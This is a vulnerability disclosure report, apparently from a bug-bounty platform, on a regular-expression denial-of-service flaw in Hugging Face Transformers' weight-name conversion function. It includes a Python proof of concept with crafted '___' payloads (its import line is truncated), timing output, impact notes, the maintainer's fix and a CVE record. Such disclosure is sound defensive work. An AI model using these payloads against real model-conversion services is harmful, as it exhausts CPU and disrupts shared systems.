Regular expression Denial of Service - ReDoS in huggingface/transformers

Valid Reported on May 1st 2025

Description

A regular expression denial of service (ReDoS) vulnerability has been identified in the Hugging Face Transformers library's weight conversion utility. The vulnerability exists in the `convert_tf_weight_name_to_pt_weight_name()` function, which converts TensorFlow weight names to PyTorch format. The regex pattern `/[^/]*___([^/]*)/` can be exploited to cause excessive CPU consumption through crafted input strings due to catastrophic backtracking.

Technical Details

- **Affected Component**: `transformers.modeling_tf_pytorch_utils.convert_tf_weight_name_to_pt_weight_name`
- **Vulnerability Type**: Regular Expression Denial of Service (ReDoS)
- **Attack Vector**: Maliciously crafted weight names in model conversion

The proof of concept demonstrates that by providing increasingly long strings with repeated `___` patterns, the execution time grows non-linearly, indicating catastrophic backtracking in the underlying regular expression matching.

Reproduction

Install the dependencies:

```
pip install transformers
```

Run the following code:

```
from transformers.modeling_tf_pytorch_utils import convert_tf_weight_name_to_pt_wei
import time

for i in range(1, 100000, 1000):
    payload = '/' + '___' * i

    start = time.perf_counter()
    convert_tf_weight_name_to_pt_weight_name(payload, tf_weight_shape=[])
```

```
    end = time.perf_counter()

    execution_time = end - start
    print(f'Payload length {i}, execution time: {execution_time:.4f} seconds')
```

Example output pattern:

```
Payload length 1, execution time: 0.0001 seconds
Payload length 1001, execution time: 0.0182 seconds
Payload length 2001, execution time: 0.0641 seconds
Payload length 3001, execution time: 0.1397 seconds
Payload length 4001, execution time: 0.2458 seconds
Payload length 5001, execution time: 0.4161 seconds
Payload length 6001, execution time: 0.6002 seconds
Payload length 7001, execution time: 0.7529 seconds
Payload length 8001, execution time: 1.0052 seconds
.....
Payload length 19001, execution time: 5.5559 seconds
Payload length 20001, execution time: 6.2470 seconds
Payload length 21001, execution time: 6.7853 seconds
Payload length 22001, execution time: 7.4393 seconds
Payload length 23001, execution time: 8.1536 seconds
Payload length 24001, execution time: 8.8626 seconds
Payload length 25001, execution time: 9.6238 seconds
Payload length 26001, execution time: 10.4056 seconds
Payload length 27001, execution time: 11.3138 seconds
Payload length 28001, execution time: 12.1315 seconds
Payload length 29001, execution time: 12.9462 seconds
Payload length 30001, execution time: 13.8485 seconds
Payload length 31001, execution time: 14.8343 seconds
```

Example output shows increasing execution times with input length, demonstrating the vulnerability.

The provided proof of concept demonstrates the vulnerability by:

- Creating payloads of increasing length using repeated `___` patterns
- Measuring execution time for weight name conversion
- Showing non-linear growth in processing time as input length increases

Impact

This vulnerability specifically affects model conversion between TensorFlow and PyTorch formats, which has several implications:

- **Model Conversion Service Disruption**:
  - Services that convert between TF and PyTorch models could become unresponsive
  - Model conversion pipelines could be halted
  - CI/CD pipelines involving model conversion could be affected

- **Resource Exhaustion in Production**:
  - Model conversion servers could experience high CPU usage
  - Multiple users could be affected in shared environments
  - Processing queues could become backed up
- **API Service Vulnerabilities**:
  - REST APIs exposing model conversion functionality could be targeted
  - Malicious model files could be used to trigger the vulnerability
  - Rate limiting might not protect against this attack as it's CPU-bound
- **Development Impact**:
  - Local development environments could be affected during model conversion
  - IDE or notebook environments could become unresponsive
  - Model experimentation workflows could be disrupted

References

- Similar report #3
- Similar report #1
- Similar report #2

We are processing your report and will contact the **huggingface/transformers** team within 24 hours. 9 months ago

Michelle Habonneau commented 8 months ago Maintainer

Hi, Thanks for taking the time to submit. We will be removing this code in the very near future but have opened a PR to help resolve in the meantime: https://github.com/huggingface/transformers/pull/38325. We'll proceed with validating this report and resolve when the PR is merged and included in the next release.

A **huggingface/transformers** maintainer has acknowledged this report 8 months ago

The scheduled publication date was automatically extended from 30th Jul 2025 to 6th Aug 2025 due to the maintainers acknowledgement of the report 8 months ago

Michelle Habonneau validated this vulnerability 8 months ago

arjunshibu has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

CVE-2025-5197 assigned to this report. 8 months ago

Michelle Habonneau marked this as fixed in 4.53.0 with commit 944b56 7 months ago

$ The fix bounty has been dropped ×

We have notified the huggingface/transformers maintainers about this report in their weekly follow-up 6 months ago

Sign in to join this conversation

CVE
CVE-2025-5197
Published

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	Low

Open in visual CVSS calculator

Registry
Pypi

Affected Version
4.51.3

Visibility
Public

Status
Fixed

Disclosure Bounty
$125

Fix Bounty
$31.25

Found by

Arjun Shibu

@arjunshibu

LIGHTWEIGHT

Supported by Palo Alto Networks and Prisma AIRS, leading the way to greater AI security.

